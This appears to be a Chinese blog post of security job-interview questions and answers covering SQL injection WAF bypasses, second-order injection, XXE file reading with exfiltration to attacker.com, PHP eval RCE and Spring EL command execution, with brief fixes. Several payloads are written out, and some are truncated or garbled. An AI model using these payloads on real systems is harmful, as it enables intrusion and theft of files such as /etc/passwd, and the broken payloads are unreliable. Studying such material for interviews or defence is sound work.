奇安信面试题

《网安面试指南》https://mp.weixin.qq.com/s/RIVYDmxI9g_TgGrpbdDKtA?token=1860256701&lang=zh_CN

5000篇网安资料库https://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247486065&idx=2&sn=b30ade8200e842743339d428f414475e&chksm=c0e4732df793fa3bf39a6eab17cc0ed0fca5f0e4c979ce64bd112762def9ee7cf0112a7e76af&scene=21#wechat_redirect

下面是奇安信部分面试题:

问题1 :

如何利用基于时间的盲注绕过WAF进行数据库指纹识别?请详细说明攻击原理,并给出至少3种现代WAF的绕过技巧。

答案:

  • 原理 :通过构造条件语句触发数据库延时函数(如MySQL的SLEEP()),根据响应时间差异判断条件真假。

  • 绕过技巧 :

    1. 分块传输编码:利用HTTP协议分块传输绕过正则检测

    2. Unicode编码混淆 :SLEEP(5) → \u0053\u004c\u0045\u0045\u0050(5)

    3. 参数污染 :id=1&id=sleep(5)-- 利用后端参数解析特性

    4. 注释符内联 :/*!50000SLEEP(5)*/(MySQL版本特性)

问题2 :

某系统使用预处理语句防御SQL注入,但仍存在二次注入漏洞。请分析其成因,并说明如何通过用户注册功能实现数据库篡改。

答案:

  • 成因:数据存储时未过滤,后续拼接时触发注入。预处理仅防御即时查询,无法阻止存储的恶意数据被复用。

  • 攻击步骤 :

    1. 注册用户名:admin'-- (含单引号)

    2. 修改密码时触发SQL:UPDATE users SET password='xxx' WHERE username='admin'-- '

    3. 实际执行语句修改admin用户密码

问题3 :

给出以下XML解析代码,如何构造恶意XML实现/etc/passwd读取并外传数据?防御方案需修改哪些代码?

复制代码
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
db.parse(new InputSource(inputStream));

答案:

  • 攻击Payload:

    复制代码
    <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
    %dtd;

    ]>
    &exfil;

  • 防御方案 :

    1. 禁用DTD:dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

    2. 禁用外部实体:dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);

问题4 :

如何通过DNS外带检测无回显的XXE漏洞?给出具体步骤及需要监控的日志类型。

答案:

  1. 构造恶意DTD触发DNS查询:

    ">
  2. 监控点 :

    • DNS服务器日志(如dig查询记录)

    • Web服务器访问日志(含base64参数)

  3. 利用协议封装:ftp://attacker.com/%payload(部分解析器支持)

问题5 :

某PHP系统使用eval("echo $userInput;"),如何构造输入实现RCE?给出两种不同技术路线的Payload并说明修复方案。

答案:

  • Payload 1 (动态函数调用):
    ';system($_GET["cmd"]);// → eval("echo '';system($_GET["cmd"]);//");

  • Payload 2 (反引号执行):
    ".$_GETcmd." → 触发shell命令执行

  • 修复 :

    1. 禁用eval()或严格过滤输入(白名单)

    2. 设置disable_functions=system,exec

问题6 :

某Spring MVC应用使用@ResponseBody返回name=${param.user},攻击者如何利用此漏洞实现任意文件读取?给出完整利用链。

答案:

  • 利用步骤 :

    1. 触发EL表达式:user=__${T(java.lang.Runtime).getRuntime().exec("cat /etc/passwd")}__

    2. 利用ScriptEngine执行JS代码:
      user=#{T(javax.script.ScriptEngineManager).newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('cmd')")}

  • 防御 :使用@ResponseBody时禁用表达式解析(Spring Security配置)

相关推荐
xie8810180230 分钟前
正则里的点号不匹配换行:多行模式的开关
运维·服务器·测试工具
是真的小外套2 小时前
网络安全实战第6期:Hydra爆破SSH实战
安全·web安全·ssh
是真的小外套2 小时前
网络安全实战第5期:Wireshark抓明文密码
安全·web安全·wireshark
学网安的肆伍2 小时前
认证机制攻防学习|PortSwigger Authentication 靶场复现总结(二):用户名枚举进阶
学习·web安全·网络安全·burpsuite·portswigger·认证安全·靶场复现
KeyAction66662 小时前
从西班牙高铁追尾看安全系统设计:当违规指令成为输入,防护逻辑如何兜底
运维·服务器·安全
IT大白鼠2 小时前
渗透测试实战从靶场搭建到渗透流程——第 8 篇 · 服务型靶标(上):MySQL 双版本写文件链
数据库·mysql·渗透测试
桐盛科技4 小时前
中央空调全链路管控:基于边缘计算的负荷预判与安全联锁实现
物联网·安全·能源·边缘计算
manok4 小时前
软件供应链安全数据周报|2026-10-19 ~ 2026-10-25
安全·供应链安全
迪康coolmu4 小时前
金融客户数据合规落地:基于迪康端点安全一体化管理系统的四道防线实践
运维·服务器·数据库·经验分享·安全·网络安全·金融
和芯星通unicore4 小时前
汽车GNSS保护等级PL赋能智能辅助驾驶安全
安全·汽车·gnss·智能驾驶·辅助驾驶·驾驶安全